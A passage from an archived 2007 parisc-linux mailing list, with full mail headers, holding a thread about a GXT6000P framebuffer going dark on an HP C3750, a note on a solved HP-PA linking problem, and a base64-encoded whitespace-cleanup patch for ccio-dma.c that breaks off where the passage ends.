X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P29oCg5ybHIzb63NNjQ09q0qJihyatCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24815

On Sun September 30 2007 15:22, Berthold Gunreben wrote:
> Am Sonntag, 30. September 2007 21:35 schrieb Grant Grundler:
> > On Fri, Sep 21, 2007 at 07:49:21PM +0200, Berthold Gunreben wrote:
> > > Hi,
> > >
> > > I got a used HP parisc workstation, and found a GXT6000P video card in
> > > there. The card was detected and initialized by the firmware of this
> > > machine (a C3750).
> >
> > wow..that's odd. I didn't see any web page which shows HP ever
> > supported GXT6000P with HPUX. I suspect someone sold you the wrong card.
> > Can you explain in more detail what you mean with "detected and initialized
> > by the firmware"?
> >
> > I suspect magic BIOS code isn't getting run. (It _might_ run under
> > a C8000 but I don't expect it to work).
> 
> Well, what can I say. The workstation boots up and displays the usual firmware 
> messages like press Tab to choose resolution (only 640x480 seems to be 
> supported at that stage) and I can also enter commands at this console. The 
> card does not seem to be wrong in this respect.
>

Most likely, all the card hardware required to do 640x480 was a power-on
reset signal.

That rate is very non-hp - it is a rare parisc system monitor that can 
display at that scan.
 
> After booting linux, the messages of the kernel are displayed until the 
> console switches:
> 
> console handover: boot [ttyB0] -> real [tty0]
> 
> Then it takes some more seconds, until the display goes dark and I was not yet 
> successful in bringing it to life again.
>

Sounds like the card never got setup for anything that wasn't hardware defaulted
by the power-on signal.

If I recall correctly, that means (from non-parisc, vga mode land) that the video
interrupt generation is also disabled on the card.
 
> > You can determine if it's necessary by looking at the driver source code.
> > Try to find where it registers the IRQ handler with request_irq().
> > Sounds like either it doesn't or it can't (but should print something
> > to dmesg buffer in that case).
> 
> The driver has no occurence of irq, and it only handles framebuffer (normally, 
> this card also should have 3D capabilities. It looks like it just does not 
> need IRQs.
> 

Perhaps the driver was written to use _only_ the power-on defaults 
with a lot more work required to do anything else.  
Like the other 90% of the driver.

Mike

> It looks like the card is switched off by using 
> pdc_cons.flags &= ~CON_PRINTBUFFER
> 
> At least if I comment this line, booting continues with messages until some 
> point where the machine just hangs. 
> 
> I am sorry, that I did not post more information in the first place, but I 
> don't have much experience with graphics on parisc-linux ... 
> 
> Thanks for your efforts anyway.
> 
> Berthold
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cyril Brulebois <cyril.brulebois@enst-bretagne.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (solved) linking problem on HP-PA
Date: Wed, 10 Oct 2007 18:35:24 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20071010163524.GA25910__23624.1880957552$1416624444$gmane$org@evy>
Reply-To: Cyril Brulebois <cyril.brulebois@enst-bretagne.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0746991653=="
X-Trace: ger.gmane.org 1416624444 25349 80.91.229.3 (22 Nov 2014 02:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 16:33:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 18 Oct 2007 18:33:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 808D67E8E1;
	Thu, 18 Oct 2007 10:33:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gGXj1cSCP5lX; Thu, 18 Oct 2007 10:33:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E3577E911;
	Thu, 18 Oct 2007 10:07:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 049707E632
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 10:35:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BeFYESjVfyXr for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 10:35:40 -0600 (MDT)
Original-Received: from swip.net (mailfe10.tele2.fr [212.247.155.44])
	by free.linux.hp.com (Postfix) with ESMTP id C4B587E631
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Oct 2007 10:35:39 -0600 (MDT)
X-Cloudmark-Score: 0.000000 []
Original-Received: from [77.218.113.59] (account eu1498667@tele2.fr HELO duckcorp.org)
	by mailfe10.swip.net (CommuniGate Pro SMTP 5.1.10)
	with ESMTPA id 475702110 for parisc-linux@lists.parisc-linux.org;
	Wed, 10 Oct 2007 18:35:37 +0200
Original-Received: by duckcorp.org (Postfix, from userid 1000)
	id C7756C806D; Wed, 10 Oct 2007 18:35:24 +0200 (CEST)
User-Agent: mutt-ng/devel-r804 (Debian)
X-Mailman-Approved-At: Tue, 16 Oct 2007 10:41:10 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oMxxLSAYaHI/bKWnKSUlpVhqamdhZMQ+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24816


--===============0746991653==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="X1bOJ3K7DJ5YkBrT"
Content-Disposition: inline


--X1bOJ3K7DJ5YkBrT
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi,

I requested an account yesterday since I was facing a linking problem on
HP-PA (apparently a missing =E2=80=9C-ffunction-sections=E2=80=9D compiler =
option), and
only on this architecture (amongst the 12 supported by Debian).

Thanks to Grant, I've been allowed to debug that problem quite quickly,
and I posted a tiny summary on [1]. Since Grant asked me to reference it
here, you're reading this mail. ;-)

 1. http://ikibiki.org/blog/2007/10/10/Linking_on_hppa/

Again, many thanks for the quick access setup, it is very appreciated,
and will help users get an updated package in the testing distribution.

Cheers,

--=20
Cyril Brulebois

PS: I'm not subscribed, that's why I set Reply-To.

--X1bOJ3K7DJ5YkBrT
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHDP9MeGfVPHR5Nd0RAvJgAKCuYDPlsygZ/JmnwIKn0xsA4aLmuwCfdgY6
9oWp6id1KrqD5FvUtR/N6Vw=
=Hn0o
-----END PGP SIGNATURE-----

--X1bOJ3K7DJ5YkBrT--

--===============0746991653==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0746991653==--



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fw:[patch 1/2] whitescape cleanup of ccio-dma.c
Date: Tue, 16 Oct 2007 09:03:40 +0200
Lines: 325
Approved: news@gmane.org
Message-ID: <JPZSY4$4DF6EA82CCF296E003370EB61A13925A__18328.2075020999$1416624444$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1192518220.2A.536422.42.25527.52.42.007.1245584270"
X-Trace: ger.gmane.org 1416624444 25354 80.91.229.3 (22 Nov 2014 02:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:24 +0000 (UTC)
To: "kyle" <kyle@mcmartin.ca>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 17:02:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 18 Oct 2007 19:02:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABC147E94C;
	Thu, 18 Oct 2007 11:02:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BxKVBhJ8ryUE; Thu, 18 Oct 2007 11:02:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 469257E8E5;
	Thu, 18 Oct 2007 10:43:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46B607E890
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 01:03:57 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id b8DRx8+DfbcU for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 01:03:44 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 901FB7E88F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 01:03:43 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by guri.is.scarlet.be  with ESMTP id l9G73e030752;
	Tue, 16 Oct 2007 09:03:40 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: itdxLWA4aHI/bKWnKSUl/hJqamdhZES8
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24817

--_=__=_XaM3_.1192518220.2A.536422.42.25527.52.42.007.1245584270
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello all,

I reach to get some time to attempt to finalize this
<http://lists.parisc-linux.org/pipermail/parisc-linux/2007-January/031129=
.html>

This first hunk just do some white space cleanup:

Hth,
    J.
=0A---=0APack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EUR 29,9=
5...=0Ahttp://www.scarlet.be/
--_=__=_XaM3_.1192518220.2A.536422.42.25527.52.42.007.1245584270
Content-Type: application/octet-stream; 
	name="=?iso-8859-1?Q?wp-cleanup-ccio-dma.c.patch?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?wp-cleanup-ccio-dma.c.patch?="

SW5kZXg6IGxpbnV4LWN1cnJlbnQvZHJpdmVycy9wYXJpc2MvY2Npby1kbWEuYwo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09Ci0tLSBsaW51eC1jdXJyZW50Lm9yaWcvZHJpdmVycy9wYXJpc2MvY2Npby1kbWEu
YwkyMDA3LTEwLTE1IDA4OjA0OjEzLjAwMDAwMDAwMCArMDAwMAorKysgbGludXgtY3VycmVu
dC9kcml2ZXJzL3BhcmlzYy9jY2lvLWRtYS5jCTIwMDctMTAtMTUgMDg6NDY6MDIuMDAwMDAw
MDAwICswMDAwCkBAIC01Miw3ICs1Miw3IEBACiAjaW5jbHVkZSA8YXNtL2hhcmR3YXJlLmg+
ICAgICAgIC8qIGZvciByZWdpc3Rlcl9tb2R1bGUoKSAqLwogI2luY2x1ZGUgPGFzbS9wYXJp
c2MtZGV2aWNlLmg+CiAKLS8qIAorLyoKICoqIENob29zZSAiY2NpbyIgc2luY2UgdGhhdCdz
IHdoYXQgSFAtVVggY2FsbHMgaXQuCiAqKiBNYWtlIGl0IGVhc2llciBmb3IgZm9sa3MgdG8g
bWlncmF0ZSBmcm9tIG9uZSB0byB0aGUgb3RoZXIgOl4pCiAqLwpAQCAtMTAyLDQzICsxMDIs
NDMgQEAKICNkZWZpbmUgREJHX1JVTl9TRyh4Li4uKQogI2VuZGlmCiAKLSNkZWZpbmUgQ0NJ
T19JTkxJTkUJaW5saW5lCi0jZGVmaW5lIFdSSVRFX1UzMih2YWx1ZSwgYWRkcikgX19yYXdf
d3JpdGVsKHZhbHVlLCBhZGRyKQotI2RlZmluZSBSRUFEX1UzMihhZGRyKSBfX3Jhd19yZWFk
bChhZGRyKQotCi0jZGVmaW5lIFUyX0lPQV9SVU5XQVkgMHg1ODAKLSNkZWZpbmUgVTJfQkNf
R1NDICAgICAweDUwMQotI2RlZmluZSBVVFVSTl9JT0FfUlVOV0FZIDB4NTgxCi0jZGVmaW5l
IFVUVVJOX0JDX0dTQyAgICAgMHg1MDIKLQotI2RlZmluZSBJT0FfTk9STUFMX01PREUgICAg
ICAweDAwMDIwMDgwIC8qIElPX0NPTlRST0wgdG8gdHVybiBvbiBDQ0lPICAgICAgICAqLwot
I2RlZmluZSBDTURfVExCX0RJUkVDVF9XUklURSAzNSAgICAgICAgIC8qIElPX0NPTU1BTkQg
Zm9yIEkvTyBUTEIgV3JpdGVzICAgICAqLwotI2RlZmluZSBDTURfVExCX1BVUkdFICAgICAg
ICAzMyAgICAgICAgIC8qIElPX0NPTU1BTkQgdG8gUHVyZ2UgSS9PIFRMQiBlbnRyeSAqLwor
I2RlZmluZSBDQ0lPX0lOTElORQkJaW5saW5lCisjZGVmaW5lIFdSSVRFX1UzMih2YWx1ZSwg
YWRkcikJX19yYXdfd3JpdGVsKHZhbHVlLCBhZGRyKQorI2RlZmluZSBSRUFEX1UzMihhZGRy
KQkJX19yYXdfcmVhZGwoYWRkcikKKworI2RlZmluZSBVMl9JT0FfUlVOV0FZCQkweDU4MAor
I2RlZmluZSBVMl9CQ19HU0MJCTB4NTAxCisjZGVmaW5lIFVUVVJOX0lPQV9SVU5XQVkJMHg1
ODEKKyNkZWZpbmUgVVRVUk5fQkNfR1NDCQkweDUwMgorCisjZGVmaW5lIElPQV9OT1JNQUxf
TU9ERQkJMHgwMDAyMDA4MAkvKiBJT19DT05UUk9MIHRvIHR1cm4gb24gQ0NJTyAgICAgICAg
Ki8KKyNkZWZpbmUgQ01EX1RMQl9ESVJFQ1RfV1JJVEUJMzUJCS8qIElPX0NPTU1BTkQgZm9y
IEkvTyBUTEIgV3JpdGVzICAgICAqLworI2RlZmluZSBDTURfVExCX1BVUkdFCQkzMwkJLyog
SU9fQ09NTUFORCB0byBQdXJnZSBJL08gVExCIGVudHJ5ICovCiAKIHN0cnVjdCBpb2FfcmVn
aXN0ZXJzIHsKLSAgICAgICAgLyogUnVud2F5IFN1cGVydmlzb3J5IFNldCAqLwotICAgICAg
ICBpbnQzMl90ICAgIHVudXNlZDFbMTJdOwotICAgICAgICB1aW50MzJfdCAgIGlvX2NvbW1h
bmQ7ICAgICAgICAgICAgIC8qIE9mZnNldCAxMiAqLwotICAgICAgICB1aW50MzJfdCAgIGlv
X3N0YXR1czsgICAgICAgICAgICAgIC8qIE9mZnNldCAxMyAqLwotICAgICAgICB1aW50MzJf
dCAgIGlvX2NvbnRyb2w7ICAgICAgICAgICAgIC8qIE9mZnNldCAxNCAqLwotICAgICAgICBp
bnQzMl90ICAgIHVudXNlZDJbMV07Ci0KLSAgICAgICAgLyogUnVud2F5IEF1eGlsaWFyeSBS
ZWdpc3RlciBTZXQgKi8KLSAgICAgICAgdWludDMyX3QgICBpb19lcnJfcmVzcDsgICAgICAg
ICAgICAvKiBPZmZzZXQgIDAgKi8KLSAgICAgICAgdWludDMyX3QgICBpb19lcnJfaW5mbzsg
ICAgICAgICAgICAvKiBPZmZzZXQgIDEgKi8KLSAgICAgICAgdWludDMyX3QgICBpb19lcnJf
cmVxOyAgICAgICAgICAgICAvKiBPZmZzZXQgIDIgKi8KLSAgICAgICAgdWludDMyX3QgICBp
b19lcnJfcmVzcF9oaTsgICAgICAgICAvKiBPZmZzZXQgIDMgKi8KLSAgICAgICAgdWludDMy
X3QgICBpb190bGJfZW50cnlfbTsgICAgICAgICAvKiBPZmZzZXQgIDQgKi8KLSAgICAgICAg
dWludDMyX3QgICBpb190bGJfZW50cnlfbDsgICAgICAgICAvKiBPZmZzZXQgIDUgKi8KLSAg
ICAgICAgdWludDMyX3QgICB1bnVzZWQzWzFdOwotICAgICAgICB1aW50MzJfdCAgIGlvX3Bk
aXJfYmFzZTsgICAgICAgICAgIC8qIE9mZnNldCAgNyAqLwotICAgICAgICB1aW50MzJfdCAg
IGlvX2lvX2xvd19odjsgICAgICAgICAgIC8qIE9mZnNldCAgOCAqLwotICAgICAgICB1aW50
MzJfdCAgIGlvX2lvX2hpZ2hfaHY7ICAgICAgICAgIC8qIE9mZnNldCAgOSAqLwotICAgICAg
ICB1aW50MzJfdCAgIHVudXNlZDRbMV07Ci0gICAgICAgIHVpbnQzMl90ICAgaW9fY2hhaW5f
aWRfbWFzazsgICAgICAgLyogT2Zmc2V0IDExICovCi0gICAgICAgIHVpbnQzMl90ICAgdW51
c2VkNVsyXTsKLSAgICAgICAgdWludDMyX3QgICBpb19pb19sb3c7ICAgICAgICAgICAgICAv
KiBPZmZzZXQgMTQgKi8KLSAgICAgICAgdWludDMyX3QgICBpb19pb19oaWdoOyAgICAgICAg
ICAgICAvKiBPZmZzZXQgMTUgKi8KKwkvKiBSdW53YXkgU3VwZXJ2aXNvcnkgU2V0ICovCisJ
aW50MzJfdCB1bnVzZWQxWzEyXTsKKwl1aW50MzJfdAlpb19jb21tYW5kOwkvKiBPZmZzZXQg
MTIgKi8KKwl1aW50MzJfdAlpb19zdGF0dXM7CS8qIE9mZnNldCAxMyAqLworCXVpbnQzMl90
CWlvX2NvbnRyb2w7CS8qIE9mZnNldCAxNCAqLworCWludDMyX3QgdW51c2VkMlsxXTsKKwor
CS8qIFJ1bndheSBBdXhpbGlhcnkgUmVnaXN0ZXIgU2V0ICovCisJdWludDMyX3QJaW9fZXJy
X3Jlc3A7CS8qIE9mZnNldCAgMCAqLworCXVpbnQzMl90CWlvX2Vycl9pbmZvOwkvKiBPZmZz
ZXQgIDEgKi8KKwl1aW50MzJfdAlpb19lcnJfcmVxOwkvKiBPZmZzZXQgIDIgKi8KKwl1aW50
MzJfdAlpb19lcnJfcmVzcF9oaTsJLyogT2Zmc2V0ICAzICovCisJdWludDMyX3QJaW9fdGxi
X2VudHJ5X207CS8qIE9mZnNldCAgNCAqLworCXVpbnQzMl90CWlvX3RsYl9lbnRyeV9sOwkv
KiBPZmZzZXQgIDUgKi8KKwl1aW50MzJfdCB1bnVzZWQzWzFdOworCXVpbnQzMl90CWlvX3Bk
aXJfYmFzZTsJLyogT2Zmc2V0ICA3ICovCisJdWludDMyX3QJaW9faW9fbG93X2h2OwkvKiBP
ZmZzZXQgIDggKi8KKwl1aW50MzJfdAlpb19pb19oaWdoX2h2OwkvKiBPZmZzZXQgIDkgKi8K
KyAgICAgICAgdWludDMyX3QgdW51c2VkNFsxXTsKKwl1aW50MzJfdAlpb19jaGFpbl9pZF9t
YXNrOy8qIE9mZnNldCAxMSAqLworCXVpbnQzMl90IHVudXNlZDVbMl07CisJdWludDMyX3QJ
aW9faW9fbG93OwkvKiBPZmZzZXQgMTQgKi8KKwl1aW50MzJfdAlpb19pb19oaWdoOwkvKiBP
ZmZzZXQgMTUgKi8KIH07CiAKIC8qCkBAIC0xNDYsNyArMTQ2LDcgQEAKICoqIC0tLS0tLS0t
LS0tLS0KICoqCiAqKiBSdW53YXkgSU9fQ09OVFJPTCBSZWdpc3RlciAoKzB4MzgpCi0qKiAK
KyoqCiAqKiBUaGUgUnVud2F5IElPX0NPTlRST0wgcmVnaXN0ZXIgY29udHJvbHMgdGhlIGZv
cndhcmRpbmcgb2YgdHJhbnNhY3Rpb25zLgogKioKICoqIHwgMCAgLi4uICAxMyAgfCAgMTQg
MTUgfCAxNiAuLi4gMjEgfCAyMiB8IDIzIDI0IHwgIDI1IC4uLiAzMSB8CkBAIC0xNzMsNyAr
MTczLDcgQEAKICoqCiAqKiBvIFRMQiBmaWVsZCBhZmZlY3RzIHRyYW5zYWN0aW9ucyB3aGlj
aCBhcmUgZm9yd2FyZGVkIGZyb20gR1NDKyB0byBSdW53YXkuCiAqKiAgICJSZWFsIiBtb2Rl
IGlzIHRoZSBwb3dlcm9uIGRlZmF1bHQuCi0qKiAKKyoqCiAqKiAgIFRMQiBNb2RlICBWYWx1
ZSAgRGVzY3JpcHRpb24KICoqICAgUmVhbCAgICAgICAgMCAgICBObyBUTEIgdHJhbnNsYXRp
b24uIEFkZHJlc3MgaXMgZGlyZWN0bHkgbWFwcGVkIGFuZCB0aGUKICoqICAgICAgICAgICAg
ICAgICAgICB2aXJ0dWFsIGFkZHJlc3MgaXMgY29tcG9zZWQgb2Ygc2VsZWN0ZWQgcGh5c2lj
YWwgYml0cy4KQEAgLTIxOCw3ICsyMTgsNyBAQAogKiogbW9kaWZ5IHRoZSBhcmNoaXRlY3R1
cmFsIElPX0lPX0xPVyBhbmQgSU9fSU9fSElHSCByZWdpc3RlcnMgZm9sbG93aW5nCiAqKiB0
aGUgUERDIGluaXRpYWxpemF0aW9uLiAgSG93ZXZlciwgdGhlIGhhcmR3YXJlIHZlcnNpb24g
ZGVwZW5kZW50IElPX0lPX0xPVwogKiogYW5kIElPX0lPX0hJR0ggcmVnaXN0ZXJzIHNob3Vs
ZCBub3QgYmUgc3Vic2VxdWVudGx5IGFsdGVyZWQgYnkgdGhlIE9TLgotKiogCisqKgogKiog
V3JpdGVzIHRvIGJvdGggc2V0cyBvZiByZWdpc3RlcnMgd2lsbCB0YWtlIGVmZmVjdCBpbW1l
ZGlhdGVseSwgYnlwYXNzaW5nCiAqKiB0aGUgcXVldWVzLCB3aGljaCBlbnN1cmVzIHRoYXQg
c3Vic2VxdWVudCBSdW53YXkgdHJhbnNhY3Rpb25zIGFyZSBjaGVja2VkCiAqKiBhZ2FpbnN0
IHRoZSB1cGRhdGVkIGJvdW5kcyB2YWx1ZXMuIEhvd2V2ZXIgcmVhZHMgYXJlIHF1ZXVlZCwg
aW50cm9kdWNpbmcKQEAgLTIyOCw0MCArMjI4LDQwIEBACiAqLwogCiBzdHJ1Y3QgaW9jIHsK
LQlzdHJ1Y3QgaW9hX3JlZ2lzdGVycyBfX2lvbWVtICppb2NfcmVnczsgIC8qIEkvTyBNTVUg
YmFzZSBhZGRyZXNzICovCi0JdTggICpyZXNfbWFwOwkgICAgICAgICAgICAgICAgLyogcmVz
b3VyY2UgbWFwLCBiaXQgPT0gcGRpciBlbnRyeSAqLwotCXU2NCAqcGRpcl9iYXNlOwkgICAg
ICAgICAgICAgICAgLyogcGh5c2ljYWwgYmFzZSBhZGRyZXNzICovCi0JdTMyIHBkaXJfc2l6
ZTsgCQkJLyogYnl0ZXMsIGZ1bmN0aW9uIG9mIElPViBTcGFjZSBzaXplICovCi0JdTMyIHJl
c19oaW50OwkgICAgICAgICAgICAgICAgLyogbmV4dCBhdmFpbGFibGUgSU9WUCAtIAotCQkJ
CQkgICBjaXJjdWxhciBzZWFyY2ggKi8KLQl1MzIgcmVzX3NpemU7CQkgICAgCS8qIHNpemUg
b2YgcmVzb3VyY2UgbWFwIGluIGJ5dGVzICovCi0Jc3BpbmxvY2tfdCByZXNfbG9jazsKKwlz
dHJ1Y3QgaW9hX3JlZ2lzdGVycyBfX2lvbWVtICppb2NfcmVnczsJLyogSS9PIE1NVSBiYXNl
IGFkZHJlc3MgKi8KKwl1OAkJKnJlc19tYXA7CQkvKiByZXNvdXJjZSBtYXAsIGJpdCA9PSBw
ZGlyIGVudHJ5ICovCisJdTY0CQkqcGRpcl9iYXNlOwkJLyogcGh5c2ljYWwgYmFzZSBhZGRy
ZXNzICovCisJdTMyCQlwZGlyX3NpemU7IAkJLyogYnl0ZXMsIGZ1bmN0aW9uIG9mIElPViBT
cGFjZSBzaXplICovCisJdTMyCQlyZXNfaGludDsJCS8qIG5leHQgYXZhaWxhYmxlIElPVlAg
LQorCQkJCQkJICAgY2lyY3VsYXIgc2VhcmNoICovCisJdTMyCQlyZXNfc2l6ZTsJCS8qIHNp
emUgb2YgcmVzb3VyY2UgbWFwIGluIGJ5dGVzICovCisJc3BpbmxvY2tfdAlyZXNfbG9jazsK
IAogI2lmZGVmIENDSU9fU0VBUkNIX1RJTUUKICNkZWZpbmUgQ0NJT19TRUFSQ0hfU0FNUExF
IDB4MTAwCi0JdW5zaWduZWQgbG9uZyBhdmdfc2VhcmNoW0NDSU9fU0VBUkNIX1NBTVBMRV07
Ci0JdW5zaWduZWQgbG9uZyBhdmdfaWR4OwkJICAvKiBjdXJyZW50IGluZGV4IGludG8gYXZn
X3NlYXJjaCAqLworCXVuc2lnbmVkIGxvbmcJYXZnX3NlYXJjaFtDQ0lPX1NFQVJDSF9TQU1Q
TEVdOworCXVuc2lnbmVkIGxvbmcJYXZnX2lkeDsJCS8qIGN1cnJlbnQgaW5kZXggaW50byBh
